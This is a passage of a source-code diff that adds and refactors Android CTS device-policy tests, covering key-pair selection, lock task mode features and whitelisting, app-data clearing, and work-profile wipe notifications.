+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+interface ICrossUserService {
+    void onEnabledCalled();
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
index 0b783a0..e569fc0 100755
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/KeyManagementTest.java
@@ -215,11 +215,33 @@
         }
     }
 
+    public void testNotUserSelectableAliasCanBeChosenViaPolicy() throws Exception {
+        final String alias = "com.android.test.not-selectable-key-1";
+        final PrivateKey privKey = getPrivateKey(FAKE_RSA_1.privateKey , "RSA");
+        final Certificate cert = getCertificate(FAKE_RSA_1.caCertificate);
+
+        // Install keypair.
+        assertTrue(mDevicePolicyManager.installKeyPair(
+            getWho(), privKey, new Certificate[] {cert}, alias, false, false));
+        try {
+            // Request and retrieve using the alias.
+            assertGranted(alias, false);
+            assertEquals(alias, new KeyChainAliasFuture(alias).get());
+            assertGranted(alias, true);
+        } finally {
+            // Delete regardless of whether the test succeeded.
+            assertTrue(mDevicePolicyManager.removeKeyPair(getWho(), alias));
+        }
+    }
+
     private void assertGranted(String alias, boolean expected) throws InterruptedException {
         boolean granted = false;
         try {
             granted = (KeyChain.getPrivateKey(getActivity(), alias) != null);
         } catch (KeyChainException e) {
+            if (expected) {
+                e.printStackTrace();
+            }
         }
         assertEquals("Grant for alias: \"" + alias + "\"", expected, granted);
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
index 9c5380a..d625a6b 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskTest.java
@@ -15,14 +15,22 @@
  */
 package com.android.cts.deviceowner;
 
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_GLOBAL_ACTIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_HOME;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_KEYGUARD;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NONE;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_NOTIFICATIONS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_RECENTS;
+import static android.app.admin.DevicePolicyManager.LOCK_TASK_FEATURE_SYSTEM_INFO;
+
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertTrue;
 
 import static org.junit.Assert.assertArrayEquals;
 
-import android.app.Activity;
 import android.app.ActivityManager;
+import android.app.ActivityOptions;
 import android.app.admin.DevicePolicyManager;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -39,6 +47,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.TimeUnit;
+
 @RunWith(AndroidJUnit4.class)
 public class LockTaskTest {
 
@@ -54,18 +64,23 @@
     private static final String UTILITY_ACTIVITY_IF_WHITELISTED
             = "com.android.cts.deviceowner.LockTaskUtilityActivityIfWhitelisted";
 
-    private static final String RECEIVING_ACTIVITY_PACKAGE_NAME
-            = "com.android.cts.intent.receiver";
-    private static final String RECEIVING_ACTIVITY_NAME
-            = "com.android.cts.intent.receiver.IntentReceiverActivity";
+    private static final String RECEIVER_ACTIVITY_PACKAGE_NAME =
+            "com.android.cts.intent.receiver";
+    private static final String RECEIVER_ACTIVITY_NAME =
+            "com.android.cts.intent.receiver.IntentReceiverActivity";
     private static final String ACTION_JUST_CREATE =
             "com.android.cts.action.JUST_CREATE";
+    private static final String ACTION_CREATE_AND_WAIT =
+            "com.android.cts.action.CREATE_AND_WAIT";
+    private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+    private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
 
-    private static final int ACTIVITY_RESUMED_TIMEOUT_MILLIS = 20000;  // 20 seconds
-    private static final int ACTIVITY_RUNNING_TIMEOUT_MILLIS = 10000;  // 10 seconds
-    private static final int ACTIVITY_DESTROYED_TIMEOUT_MILLIS = 60000;  // 60 seconds
-    public static final String RECEIVING_ACTIVITY_CREATED_ACTION
-            = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
+    private static final long ACTIVITY_RESUMED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(20);
+    private static final long ACTIVITY_RUNNING_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(10);
+    private static final long ACTIVITY_DESTROYED_TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(60);
+
     /**
      * The tests below need to keep detailed track of the state of the activity
      * that is started and stopped frequently.  To do this it sends a number of
@@ -105,31 +120,27 @@
                     mIntentHandled = true;
                     LockTaskTest.this.notify();
                 }
-            } else if (RECEIVING_ACTIVITY_CREATED_ACTION.equals(action)) {
-                synchronized(mReceivingActivityCreatedLock) {
-                    mReceivingActivityWasCreated = true;
-                    mReceivingActivityCreatedLock.notify();
+            } else if (RECEIVER_ACTIVITY_CREATED_ACTION.equals(action)) {
+                synchronized(mReceiverActivityRunningLock) {
+                    mIsReceiverActivityRunning = true;
+                    mReceiverActivityRunningLock.notify();
+                }
+            } else if (RECEIVER_ACTIVITY_DESTROYED_ACTION.equals(action)) {
+                synchronized (mReceiverActivityRunningLock) {
+                    mIsReceiverActivityRunning = false;
+                    mReceiverActivityRunningLock.notify();
                 }
             }
         }
     };
 
-    public static class IntentReceivingActivity extends Activity {
-        @Override
-        public void onCreate(Bundle savedInstanceState) {
-            super.onCreate(savedInstanceState);
-            sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
-            finish();
-        }
-    }
-
     private volatile boolean mIsActivityRunning;
     private volatile boolean mIsActivityResumed;
-    private volatile boolean mReceivingActivityWasCreated;
+    private volatile boolean mIsReceiverActivityRunning;
     private volatile boolean mIntentHandled;
     private final Object mActivityRunningLock = new Object();
     private final Object mActivityResumedLock = new Object();
-    private final Object mReceivingActivityCreatedLock = new Object();
+    private final Object mReceiverActivityRunningLock = new Object();
 
     private Context mContext;
     private ActivityManager mActivityManager;
@@ -139,17 +150,17 @@
     public void setUp() {
         mContext = InstrumentationRegistry.getContext();
 
-        mDevicePolicyManager = (DevicePolicyManager)
-                mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
         mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[0]);
-        mActivityManager = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        mActivityManager = mContext.getSystemService(ActivityManager.class);
         IntentFilter filter = new IntentFilter();
         filter.addAction(LockTaskUtilityActivity.CREATE_ACTION);
         filter.addAction(LockTaskUtilityActivity.DESTROY_ACTION);
         filter.addAction(LockTaskUtilityActivity.INTENT_ACTION);
         filter.addAction(LockTaskUtilityActivity.RESUME_ACTION);
         filter.addAction(LockTaskUtilityActivity.PAUSE_ACTION);
-        filter.addAction(RECEIVING_ACTIVITY_CREATED_ACTION);
+        filter.addAction(RECEIVER_ACTIVITY_CREATED_ACTION);
+        filter.addAction(RECEIVER_ACTIVITY_DESTROYED_ACTION);
         mContext.registerReceiver(mReceiver, filter);
     }
 
@@ -172,6 +183,34 @@
         assertFalse(mDevicePolicyManager.isLockTaskPermitted(TEST_PACKAGE));
     }
 
+    // Setting and unsetting the lock task features. The actual UI behavior is tested with CTS
+    // verifier.
+    @Test
+    public void testSetLockTaskFeatures() {
+        final int[] flags = new int[] {
+                LOCK_TASK_FEATURE_SYSTEM_INFO,
+                LOCK_TASK_FEATURE_NOTIFICATIONS,
+                LOCK_TASK_FEATURE_HOME,
+                LOCK_TASK_FEATURE_RECENTS,
+                LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+                LOCK_TASK_FEATURE_KEYGUARD
+        };
+
+        int cumulative = LOCK_TASK_FEATURE_NONE;
+        for (int flag : flags) {
+            mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, flag);
+            assertEquals(flag, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+            cumulative |= flag;
+            mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, cumulative);
+            assertEquals(cumulative, mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+
+            mDevicePolicyManager.setLockTaskFeatures(ADMIN_COMPONENT, LOCK_TASK_FEATURE_NONE);
+            assertEquals(LOCK_TASK_FEATURE_NONE,
+                    mDevicePolicyManager.getLockTaskFeatures(ADMIN_COMPONENT));
+        }
+    }
+
     // Start lock task, verify that ActivityManager knows thats what is going on.
     @Test
     public void testStartLockTask() throws Exception {
@@ -219,6 +258,40 @@
         assertFalse(mIsActivityResumed);
     }
 
+    // Verifies that removing the whitelist authorization immediately finishes the corresponding
+    // locked task. The other locked task(s) should remain locked.
+    @Test
+    public void testUpdateWhitelisting_twoTasks() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
+                RECEIVER_ACTIVITY_PACKAGE_NAME});
+
+        // Start first locked task
+        startLockTask(UTILITY_ACTIVITY);
+        waitForResume();
+
+        // Start the other task from the running activity
+        mIsReceiverActivityRunning = false;
+        Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, true /*shouldWait*/);
+        mContext.startActivity(launchIntent);
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertTrue(mIsReceiverActivityRunning);
+        }
+
+        // Remove whitelist authorization of the second task
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_DESTROYED_TIMEOUT_MILLIS);
+            assertFalse(mIsReceiverActivityRunning);
+        }
+
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
     // This launches an activity that is in the current task.
     // This should always be permitted as a part of lock task (since it isn't a new task).
     @Test
@@ -227,15 +300,15 @@
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
 
-        mReceivingActivityWasCreated = false;
-        Intent launchIntent = getIntentReceivingActivityIntent(0);
+        mIsReceiverActivityRunning = false;
+        Intent launchIntent = createReceiverActivityIntent(false /*newTask*/, false /*shouldWait*/);
         Intent lockTaskUtility = getLockTaskUtility(UTILITY_ACTIVITY);
         lockTaskUtility.putExtra(LockTaskUtilityActivity.START_ACTIVITY, launchIntent);
         mContext.startActivity(lockTaskUtility);
 
-        synchronized (mReceivingActivityCreatedLock) {
-            mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            assertTrue(mReceivingActivityWasCreated);
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertTrue(mIsReceiverActivityRunning);
         }
         stopAndFinish(UTILITY_ACTIVITY);
     }
@@ -245,17 +318,16 @@
     @Test
     public void testStartActivity_outsideTaskWhitelisted() throws Exception {
         mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME,
-                RECEIVING_ACTIVITY_PACKAGE_NAME });
+                RECEIVER_ACTIVITY_PACKAGE_NAME});
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
 
-        mReceivingActivityWasCreated = false;
-        Intent launchIntent = getIntentReceivingActivityIntent(0);
-        launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mIsReceiverActivityRunning = false;
+        Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
         mContext.startActivity(launchIntent);
-        synchronized (mReceivingActivityCreatedLock) {
-            mReceivingActivityCreatedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            assertTrue(mReceivingActivityWasCreated);
+        synchronized (mReceiverActivityRunningLock) {
+            mReceiverActivityRunningLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
+            assertTrue(mIsReceiverActivityRunning);
         }
         stopAndFinish(UTILITY_ACTIVITY);
     }
@@ -268,11 +340,11 @@
         startLockTask(UTILITY_ACTIVITY);
         waitForResume();
 
-        Intent launchIntent = getIntentReceivingActivityIntent(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Intent launchIntent = createReceiverActivityIntent(true /*newTask*/, false /*shouldWait*/);
         mContext.startActivity(launchIntent);
         synchronized (mActivityResumedLock) {
             mActivityResumedLock.wait(ACTIVITY_RESUMED_TIMEOUT_MILLIS);
-            assertFalse(mReceivingActivityWasCreated);
+            assertFalse(mIsReceiverActivityRunning);
         }
         stopAndFinish(UTILITY_ACTIVITY);
     }
@@ -341,6 +413,27 @@
         assertFalse(mIsActivityResumed);
     }
 
+    // Start lock task with ActivityOptions
+    @Test
+    public void testActivityOptions_whitelisted() throws Exception {
+        mDevicePolicyManager.setLockTaskPackages(ADMIN_COMPONENT, new String[] { PACKAGE_NAME });
+        startLockTaskWithOptions(UTILITY_ACTIVITY);
+        waitForResume();
+
+        // Verify that activity open and activity manager is in lock task.
+        assertLockTaskModeActive();
+        assertTrue(mIsActivityRunning);
+        assertTrue(mIsActivityResumed);
+
+        stopAndFinish(UTILITY_ACTIVITY);
+    }
+
+    // Starting a non-whitelisted activity with ActivityOptions is not allowed
+    @Test(expected = SecurityException.class)
+    public void testActivityOptions_nonWhitelisted() throws Exception {
+        startLockTaskWithOptions(UTILITY_ACTIVITY);
+    }
+
     /**
      * Checks that lock task mode is active and fails the test if it isn't.
      */
@@ -412,6 +505,15 @@
     }
 
     /**
+     * Starts LockTaskUtilityActivity with {@link ActivityOptions#setLockTaskMode(boolean)}
+     */
+    private void startLockTaskWithOptions(String className) throws InterruptedException {
+        Intent intent = getLockTaskUtility(className);
+        Bundle options = ActivityOptions.makeBasic().setLockTaskMode(true).toBundle();
+        startAndWait(intent, options);
+    }
+
+    /**
      * Calls stopLockTask on the LockTaskUtilityActivity
      */
     private void stopLockTask(String className) throws InterruptedException {
@@ -435,9 +537,16 @@
      * the command.
      */
     private void startAndWait(Intent intent) throws InterruptedException {
+        startAndWait(intent, null);
+    }
+
+    /**
+     * Same as {@link #startAndWait(Intent)}, but with additional {@link ActivityOptions}.
+     */
+    private void startAndWait(Intent intent, Bundle options) throws InterruptedException {
         mIntentHandled = false;
         synchronized (this) {
-            mContext.startActivity(intent);
+            mContext.startActivity(intent, options);
             // Give 20 secs to finish.
             wait(ACTIVITY_RUNNING_TIMEOUT_MILLIS);
             assertTrue(mIntentHandled);
@@ -456,12 +565,13 @@
         return intent;
     }
 
-    private Intent getIntentReceivingActivityIntent(int flags) {
-        Intent intent = new Intent();
+    /** Create an intent to launch {@link #RECEIVER_ACTIVITY_NAME}. */
+    private Intent createReceiverActivityIntent(boolean newTask, boolean shouldWait) {
+        final Intent intent = new Intent();
         intent.setComponent(
-                new ComponentName(RECEIVING_ACTIVITY_PACKAGE_NAME, RECEIVING_ACTIVITY_NAME));
-        intent.setAction(ACTION_JUST_CREATE);
-        intent.setFlags(flags);
+                new ComponentName(RECEIVER_ACTIVITY_PACKAGE_NAME, RECEIVER_ACTIVITY_NAME));
+        intent.setAction(shouldWait ? ACTION_CREATE_AND_WAIT : ACTION_JUST_CREATE);
+        intent.setFlags(newTask ? Intent.FLAG_ACTIVITY_NEW_TASK : 0);
         return intent;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
index da0e16c..84c5de6 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/AndroidManifest.xml
@@ -35,6 +35,7 @@
                 <action android:name="com.android.cts.action.NOTIFY_URI_CHANGE"/>
                 <action android:name="com.android.cts.action.OBSERVE_URI_CHANGE"/>
                 <action android:name="com.android.cts.action.JUST_CREATE" />
+                <action android:name="com.android.cts.action.CREATE_AND_WAIT" />
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </activity>
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
new file mode 100644
index 0000000..0d2a990
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/ClearApplicationDataTest.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2017, The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.intent.receiver;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test class that writes to shared preference and verifies that the shared preference gets cleared
+ * after DPM.clearApplicationUserData was called.
+ */
+@SmallTest
+public class ClearApplicationDataTest {
+    private static final String SHARED_PREFERENCE_NAME = "test-preference";
+    private static final String I_WAS_HERE = "I-Was-Here";
+
+    private Context mContext;
+    private SharedPreferences mSharedPrefs;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mSharedPrefs = mContext.getSharedPreferences(SHARED_PREFERENCE_NAME, Context.MODE_PRIVATE);
+    }
+
+    @Test
+    public void testWriteToSharedPreference() {
+        mSharedPrefs.edit().putBoolean(I_WAS_HERE, true).commit();
+        assertTrue(mSharedPrefs.contains(I_WAS_HERE));
+    }
+
+    @Test
+    public void testSharedPreferenceCleared() {
+        assertFalse(mSharedPrefs.contains(I_WAS_HERE));
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
index a645a87..5f04be0 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/IntentReceiverActivity.java
@@ -57,8 +57,14 @@
     private static final String ACTION_JUST_CREATE =
             "com.android.cts.action.JUST_CREATE";
 
-    public static final String RECEIVING_ACTIVITY_CREATED_ACTION
-            = "com.android.cts.deviceowner.RECEIVING_ACTIVITY_CREATED_ACTION";
+    private static final String ACTION_CREATE_AND_WAIT =
+            "com.android.cts.action.CREATE_AND_WAIT";
+
+    private static final String RECEIVER_ACTIVITY_CREATED_ACTION =
+            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_CREATED";
+
+    private static final String RECEIVER_ACTIVITY_DESTROYED_ACTION =
+            "com.android.cts.deviceowner.action.RECEIVER_ACTIVITY_DESTROYED";
 
     public static final String ACTION_NOTIFY_URI_CHANGE
             = "com.android.cts.action.NOTIFY_URI_CHANGE";
@@ -131,10 +137,19 @@
                 getContentResolver().unregisterContentObserver(uriObserver);
                 handlerThread.quit();
             }
-        } else if (ACTION_JUST_CREATE.equals(action)) {
-            sendBroadcast(new Intent(RECEIVING_ACTIVITY_CREATED_ACTION));
+        } else if (ACTION_JUST_CREATE.equals(action) || ACTION_CREATE_AND_WAIT.equals(action)) {
+            sendBroadcast(new Intent(RECEIVER_ACTIVITY_CREATED_ACTION));
         }
-        finish();
+
+        if (!ACTION_CREATE_AND_WAIT.equals(action)) {
+            finish();
+        }
+    }
+
+    @Override
+    public void onDestroy() {
+        sendBroadcast(new Intent(RECEIVER_ACTIVITY_DESTROYED_ACTION));
+        super.onDestroy();
     }
 
     private class UriObserver extends ContentObserver {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
index 05ebac0..f1bd986 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/AndroidManifest.xml
@@ -145,6 +145,9 @@
             </intent-filter>
         </activity>
 
+        <activity android:name=".WebViewActivity"
+            android:process=":testProcess"/>
+
         <service
             android:name=".CrossProfileNotificationListenerService"
             android:label="CrossProfileNotificationListenerService"
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
index 550f1d3..4e2f58f 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CurrentApiHelper.java
@@ -168,6 +168,9 @@
             typeName = typeName.substring(0, typeName.length() - 2);
         }
 
+        // Resolve inner classes
+        typeName = typeName.replaceAll("([A-Z].*)\\.", "$1\\$");
+
         // Remove type parameters, if any
         typeName = typeName.replaceAll("<.*>$", "");
 
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java
new file mode 100644
index 0000000..b5e16f4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WebViewActivity.java
@@ -0,0 +1,14 @@
+package com.android.cts.managedprofile;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.webkit.WebView;
+
+public class WebViewActivity extends Activity {
+
+  @Override
+  protected void onCreate(Bundle savedInstanceState) {
+    super.onCreate(savedInstanceState);
+    setContentView(new WebView(this));
+  }
+}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
index 7ef3a0a..26f627e 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataTest.java
@@ -15,16 +15,8 @@
  */
 package com.android.cts.managedprofile;
 
-
-import com.android.cts.managedprofile.BaseManagedProfileTest.BasicAdminReceiver;
-
-import org.junit.Ignore;
-
-/**
- * Test wipeData() for use in managed profile. If called from a managed profile, wipeData() should
- * remove the current managed profile. Also, no erasing of external storage should be allowed.
- */
 public class WipeDataTest extends BaseManagedProfileTest {
+    private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
 
     @Override
     protected void setUp() throws Exception {
@@ -35,8 +27,25 @@
         assertTrue(mDevicePolicyManager.isProfileOwnerApp(ADMIN_RECEIVER_COMPONENT.getPackageName()));
     }
 
+    /**
+     * Test wipeData() for use in managed profile. If called from a managed profile, wipeData()
+     * should remove the current managed profile. Also, no erasing of external storage should be
+     * allowed.
+     */
     public void testWipeData() throws InterruptedException {
         mDevicePolicyManager.wipeData(0);
-        // the test that the profile will indeed be removed is done in the host.
+        // The test that the profile will indeed be removed is done in the host.
+    }
+
+    /**
+     * Test wipeDataWithReason() for use in managed profile. If called from a managed profile,
+     * wipeDataWithReason() should remove the current managed profile.In the mean time, it should
+     * send out a notification containing the reason for wiping data to user. Also, no erasing of
+     * external storage should be allowed.
+     */
+    public void testWipeDataWithReason() throws InterruptedException {
+        mDevicePolicyManager.wipeDataWithReason(0, TEST_WIPE_DATA_REASON);
+        // The test that the profile will indeed be removed is done in the host.
+        // Notification verification is done in another test.
     }
 }
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
new file mode 100644
index 0000000..3b35cb4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/WipeDataWithReasonVerificationTest.java
@@ -0,0 +1,37 @@
+package com.android.cts.managedprofile;
+
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.Until;
+import android.test.AndroidTestCase;
+
+/**
+ * Test wipeDataWithReason() has indeed shown the notification.
+ * The function wipeDataWithReason() is called and executed in another test.
+ */
+public class WipeDataWithReasonVerificationTest extends AndroidTestCase {
+
+    private static final String WIPE_DATA_TITLE = "Work profile deleted";
+    // This reason string should be aligned with the one in WipeDataTest as this is a followup test.
+    private static final String TEST_WIPE_DATA_REASON = "cts test for WipeDataWithReason";
+    private static final long UI_TIMEOUT_MILLI = 5000;
+
+    public void testWipeDataWithReasonVerification() throws UiObjectNotFoundException,
+            InterruptedException {
+        // The function wipeDataWithReason() is called and executed in another test.
+        // The data should be wiped and notification should be sent before.
+        UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        uiDevice.openNotification();
+        Boolean wipeDataTitleExist = uiDevice.wait(Until.hasObject(By.text(WIPE_DATA_TITLE)),
+                UI_TIMEOUT_MILLI);
+        Boolean wipeDataReasonExist = uiDevice.wait(Until.hasObject(By.text(TEST_WIPE_DATA_REASON)),
+                UI_TIMEOUT_MILLI);
+
+        // Verify the notification is there.
+        assertEquals("Wipe notification title not found", Boolean.TRUE, wipeDataTitleExist);
+        assertEquals("Wipe notification content not found",
+                Boolean.TRUE, wipeDataReasonExist);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index a612cee..36deebf 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -27,10 +27,16 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.FileInputStreamSource;
+import com.android.tradefed.result.LogDataType;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.TarUtil;
 
+import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
@@ -229,16 +235,21 @@
         return 0;
     }
 
+    private void stopUserAsync(int userId) throws Exception {
+        String stopUserCommand = "am stop-user -f " + userId;
+        CLog.d("starting command \"" + stopUserCommand);
+        CLog.d("Output for command " + stopUserCommand + ": "
+                + getDevice().executeShellCommand(stopUserCommand));
+    }
+
     protected void stopUser(int userId) throws Exception {
-        // Wait for the broadcast queue to be idle first to workaround the stop-user timeout issue.
-        waitForBroadcastIdle();
         String stopUserCommand = "am stop-user -w -f " + userId;
         CLog.d("starting command \"" + stopUserCommand + "\" and waiting.");
         CLog.d("Output for command " + stopUserCommand + ": "
                 + getDevice().executeShellCommand(stopUserCommand));
     }
 
-    private void waitForBroadcastIdle() throws DeviceNotAvailableException {
+    private void waitForBroadcastIdle() throws DeviceNotAvailableException, IOException {
         CollectingOutputReceiver receiver = new CollectingOutputReceiver();
         try {
             // we allow 8min for the command to complete and 4min for the command to start to
@@ -249,6 +260,24 @@
             String output = receiver.getOutput();
             CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
             if (!output.contains("All broadcast queues are idle!")) {
+                // Gather the system_server dump data for investigation.
+                File heapDump = getDevice().dumpHeap("system_server", "/data/local/tmp/dump.hprof");
+                if (heapDump != null) {
+                    // If file is too too big, tar if with TarUtil.
+                    String pid = getDevice().getProcessPid("system_server");
+                    // gzip the file it's quite big
+                    File heapDumpGz = TarUtil.gzip(heapDump);
+                    try (FileInputStreamSource source = new FileInputStreamSource(heapDumpGz)) {
